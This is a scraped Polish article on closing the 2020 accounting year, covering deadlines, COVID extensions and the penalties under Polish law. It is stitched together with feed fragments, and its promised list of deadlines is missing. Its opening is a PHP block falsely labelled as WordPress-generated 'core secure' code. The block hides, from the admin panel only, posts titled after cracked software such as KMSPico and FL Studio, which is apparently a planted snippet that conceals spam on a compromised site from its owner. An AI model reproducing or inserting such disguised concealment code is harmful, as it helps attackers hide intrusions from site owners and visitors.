# BEGIN WP CORE SECURE
# Dyrektywy zawarte między `BEGIN WP CORE SECURE` oraz `END WP CORE SECURE`
# są generowane dynamicznie i powinny być modyfikowane tylko za pomocą
# filtrów WordPressa. Zmiany dokonane bezpośrednio tutaj będą nadpisywane.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Artykuł Przygotowanie do zamknięcia 2020 roku pochodzi z serwisu Okolice Biznesu.
]]>Wprowadzenie
Na większości podmiotów gospodarczych ciążą obowiązki związane z corocznym zamknięciem ksiąg rachunkowych i sporządzeniem – na podstawie danych w nich zawartych – sprawozdania finansowego. Zgodnie z przepisami ustawy o rachunkowości (dalej: „UoR”) jednostki wykonujące prace związane z zamknięciem roku są zobowiązane do szeregu czynności (oprócz sporządzenia sprawozdania finansowego do obowiązków tych należy m.in. przeprowadzenie inwentaryzacji czy – w przypadku części jednostek – badanie sprawozdania finansowego za poprzedni okres sprawozdawczy przez biegłego rewidenta). W niniejszym opracowaniu zostaną przedstawione pokrótce najważniejsze terminy poszczególnych etapów zamknięcia 2020 roku. Uwzględnienie tych dat w kalendarzu 2021 roku z pewnością pomoże w odpowiednim zaplanowaniu całej procedury i uniknięciu ryzyka odpowiedzialności za niedokonanie określonych czynności w terminie.
Ewentualne modyfikacje roku obrotowego
Co do zasady dla jednostki kontynuującej działalność rokiem obrotowym będzie rok kalendarzowy, który dla celów zamknięcia będzie okresem sprawozdawczym. Statut lub umowa, na podstawie których dany podmiot został utworzony może inaczej określać ramy czasowe roku obrotowego. W przypadku rozpoczęcia działalności pierwszym okresem sprawozdawczym może być okres od dnia rozpoczęcia działalności do ostatniego dnia roku obrotowego, w którym podmiot rozpoczął działalność, bądź też do ostatniego dnia roku następnego (jednak wyłącznie gdy działalność została rozpoczęta w drugiej połowie roku, a łączny okres sprawozdawczy nie przekracza 18 miesięcy). Możliwość ta dotyczy jednak wyłącznie podatników CIT, którzy powinni zawiadomić o fakcie wyboru roku obrotowego właściwego naczelnika Urzędu Skarbowego, w terminie 30 dni od dnia rozpoczęcia działalności.
Kolejną istotną kwestią jest brak możliwości zmiany roku obrotowego w trakcie jego trwania. Zmiana taka wywołuje skutki dopiero w kolejnym okresie rozliczeniowym. Ponadto wymaga ona korekt w postanowieniach statutu lub umowy spółki, a także ponownego zawiadomienia naczelnika Urzędu Skarbowego w terminie 30 dni od dnia zakończenia roku podatkowego. Podstawowym warunkiem zmiany roku obrotowego, jest jednak zamieszczenie odpowiedniego wpisu w Krajowym Rejestrze Sądowym. Zgodnie z wyrokiem Naczelnego Sądu Administracyjnego z dnia 08.08.2017 roku (Syg. akt II FSK 1851/15) ma on charakter konstytutywny, co implikuje wniosek, iż brak ujawnienia tej zmiany w KRS spowoduje zmiany roku obrotowego z prawnego punktu widzenia (podjęcie uchwały zgromadzenia wspólników, a nawet zgłoszenie zmiany do sądu rejestrowego nie jest w tym zakresie wystarczające).
Kluczowe terminy związane z zamknięciem 2020 roku
Przechodząc do tematyki harmonogramu prac związanych z zamknięciem 2020 roku trzeba podkreślić, że nie wszystkie czynności będą odnosiły się do każdego z podatników. Co więcej, przygotowanie do zamknięcia danego roku należy rozpocząć jeszcze przed jego zakończeniem (przyjmujemy w tym miejscu zasadę, że okres sprawozdawczy będzie obejmował rok 2020). Uwzględniając zatem całość procesu zamykania roku obrotowego możemy wyodrębnić następujące czynności i związane z nimi terminy ich wykonania:
Pandemia COVID-19 a możliwość wydłużenia terminów
Generalną zasadą wynikającą z art. 52 ust. 1 UoR jest sprorządzenie sprawozdania finansowego w terminie 3 miesięcy od dnia bilansowego (a więc najpóźniej do dnia 31 marca). W 2020 roku, z uwagi na wystąpienie w Polsce stanu epidemii spowodowanej chorobą COVID-19 Ministerstwo Finansów wydało rozporządzenie przedłużające terminy na dokonanie określonych czynności związanych z zamknięciem 2019 roku. Przykładowo, do 30 czerwca 2020 roku wydłużono termin do sporządzenia i zatwierdzenia rocznego sprawozdania finansowego oraz sprawozdania z działalności). Trudno przewidzieć, czy w roku 2021 również zostaną wydane podobne przepisy podustawowe (ciągle bowiem zmagamy się z nadzwyczajną sytuacją związaną z istniejącą pandemią), dlatego też należy uważnie śledzić komunikaty Ministerstwa Finansów, będąc jednocześnie przygotowanym do realizacji poszczególnych etapów w ogólnych terminach wynikających z przepisów UoR.
Odpowiedzialność za sporządzenie sprawozdań finansowych oraz prowadzenie ksiąg rachunkowych
Odpowiednie przygotowanie do wykonania czynności z zakresu zamknięcia roku jest niezwykle istotne, gdyż niedopełnienie danych obowiązków może rodzić sankcje na gruncie UoR, Kodeksu karnego, Kodeksu karno-skarbowego czy Kodeksu pracy. Pierwsza grupa odpowiedzialności wynika z UoR – zgodnie z art. 77 tej ustawy:
„Kto wbrew przepisom ustawy dopuszcza do:
1) nieprowadzenia ksiąg rachunkowych, prowadzenia ich wbrew przepisom ustawy lub podawania w tych księgach nierzetelnych danych,
2) niesporządzenia sprawozdania finansowego, skonsolidowanego sprawozdania finansowego, sprawozdania z działalności, sprawozdania z działalności grupy kapitałowej, sprawozdania z płatności na rzecz administracji publicznej, skonsolidowanego sprawozdania z płatności na rzecz administracji publicznej, sporządzenia ich niezgodnie z przepisami ustawy lub zawarcia w tych sprawozdaniach nierzetelnych danych
– podlega grzywnie lub karze pozbawienia wolności do lat 2, albo obu tym karom łącznie.”.
Kolejnym ważnym przepisem jest art. 79 UoR, który stanowi:
„Kto wbrew przepisom ustawy:
1) nie poddaje sprawozdania finansowego badaniu przez biegłego rewidenta,
2) nie udziela lub udziela niezgodnych ze stanem faktycznym informacji, wyjaśnień, oświadczeń biegłemu rewidentowi albo nie dopuszcza go do pełnienia obowiązków,
3) nie składa sprawozdania finansowego do ogłoszenia,
4) nie składa sprawozdania finansowego, skonsolidowanego sprawozdania finansowego, sprawozdania z działalności, sprawozdania z działalności grupy kapitałowej, sprawozdania z płatności na rzecz administracji publicznej, skonsolidowanego sprawozdania z płatności na rzecz administracji publicznej we właściwym rejestrze sądowym,
4a) nie zamieszcza na stronie internetowej jednostki dokumentów, o których mowa w art. 49b ust. 9, art. 55 ust. 2c oraz art. 69 ust. 5,
5) nie udostępnia sprawozdania finansowego i innych dokumentów, o których mowa w art. 68,
6) prowadzi działalność gospodarczą w zakresie usługowego prowadzenia ksiąg rachunkowych bez spełnienia warunków, o których mowa w art. 76a ust. 3,
7) prowadzi działalność gospodarczą w zakresie usługowego prowadzenia ksiąg rachunkowych bez spełnienia obowiązku zawarcia umowy ubezpieczenia, o którym mowa w art. 76h ust. 1,
8) rozwiązuje umowę o badanie sprawozdania finansowego, bez uzasadnionej podstawy, lub nie informuje Polskiej Agencji Nadzoru Audytowego, a w odpowiednich przypadkach – Komisji Nadzoru Finansowego, o rozwiązaniu tej umowy,
9) zawiera z firmą audytorską umowę o badanie ustawowe w rozumieniu art. 2 pkt 1 ustawy o biegłych rewidentach, na okres krótszy niż dwa lata,
10) stosuje klauzule umowne, o których mowa w art. 66 ust. 5a
– podlega grzywnie albo karze ograniczenia wolności.”.
Odpowiedzialność karną można ponieść także na gruncie przepisów Kodeksu karnego. Stosownie do treści art. 303 k.k.:
„§ 1. Kto wyrządza szkodę majątkową osobie fizycznej, prawnej albo jednostce organizacyjnej niemającej osobowości prawnej, przez nieprowadzenie dokumentacji działalności gospodarczej albo prowadzenie jej w sposób nierzetelny lub niezgodny z prawdą, w szczególności niszcząc, usuwając, ukrywając, przerabiając lub podrabiając dokumenty dotyczące tej działalności,
podlega karze pozbawienia wolności do lat 3.
§ 2. Jeżeli sprawca przestępstwa określonego w § 1 wyrządza znaczną szkodę majątkową,
podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
§ 3. W wypadku mniejszej wagi, sprawca przestępstwa określonego w § 1
podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do roku.
§ 4. Jeżeli pokrzywdzonym nie jest Skarb Państwa, ściganie przestępstwa określonego w § 1-3 następuje na wniosek pokrzywdzonego.”.
Z kolei w zakresie odpowiedzialności karno-skarbowej, istotny jest przepis art. 60 k.k.s., wedle którego:
„§ 1. Kto wbrew obowiązkowi nie prowadzi księgi,
podlega karze grzywny do 240 stawek dziennych.
§ 2. Kto wbrew obowiązkowi nie przechowuje księgi w miejscu wykonywania działalności lub w miejscu wskazanym przez podatnika jako jego siedziba, przedstawicielstwo lub oddział, a jeżeli prowadzenie księgi zostało zlecone biuru rachunkowemu lub innemu uprawnionemu podmiotowi – w miejscu określonym w umowie z biurem rachunkowym lub w miejscu wskazanym przez kierownika jednostki,
podlega karze grzywny do 240 stawek dziennych.
§ 3. Karze określonej w § 2 podlega także ten podatnik lub płatnik, który nie zawiadamia w terminie właściwego organu o prowadzeniu księgi przez doradcę podatkowego, lub inny podmiot upoważniony do prowadzenia ksiąg w jego imieniu i na jego rzecz.
§ 4. W wypadku mniejszej wagi, sprawca czynu zabronionego określonego w § 1-3
podlega karze grzywny za wykroczenie skarbowe.”.
Na sam koniec warto zauważyć, że odpowiedzialność ciąży także na pracownikach danej jednostki. Zgodnie z art. 100 § 1 Kodeksu pracy, „Pracownik jest obowiązany wykonywać pracę sumiennie i starannie oraz stosować się do poleceń przełożonych, które dotyczą pracy, jeżeli nie są one sprzeczne z przepisami prawa lub umową o pracę.”. Ponosi on odpowiedzialność za szkodę w granicach rzeczywistej straty poniesionej przez pracodawcę i tylko za normalne następstwa działania lub zaniechania, z którego wynikła szkoda. (art. 115 k.p.). Odpowiedzialność ta jest ograniczona mocą art. 117 k.p., który stanowi, iż „Pracownik nie ponosi odpowiedzialności za szkodę w takim zakresie, w jakim pracodawca lub inna osoba przyczyniły się do jej powstania albo zwiększenia” (§ 1) oraz, że „Pracownik nie ponosi ryzyka związanego z działalnością pracodawcy, a w szczególności nie odpowiada za szkodę wynikłą w związku z działaniem w granicach dopuszczalnego ryzyka.” (§ 2). Niemniej jednak osoba, której powierzono prowadzenie ksiąg rachunkowych, główny księgowy czy dyrektor finansowy zatrudnieni na podstawie umowy o pracę będą odpowiadać na zasadach ogólnych Kodeksu pracy nawet jeśli nie zostały im przekazane na piśmie obowiązki w zakresie ustawy o rachunkowości.
Podsumowanie
Należyte przygotowanie się do obowiązków związanych z zamknięciem roku jest istotne zarówno z punktu widzenia organizacji firmy, jak i ryzyka związanego z ewentualną odpowiedzialnością w zakresie możliwego uchybienia terminom dokonania poszczególnych czynności. Warto zatem rozpisać sobie harmonogram wykonywanych prac dużo wcześniej, aby z poczuciem większego bezpieczeństwa i spokoju przystąpić do planowania poszczególnych etapów i nie zostawiać żadnych obowiązków na ostatnią chwilę.
Źródło:
Artykuł Przygotowanie do zamknięcia 2020 roku pochodzi z serwisu Okolice Biznesu.
]]>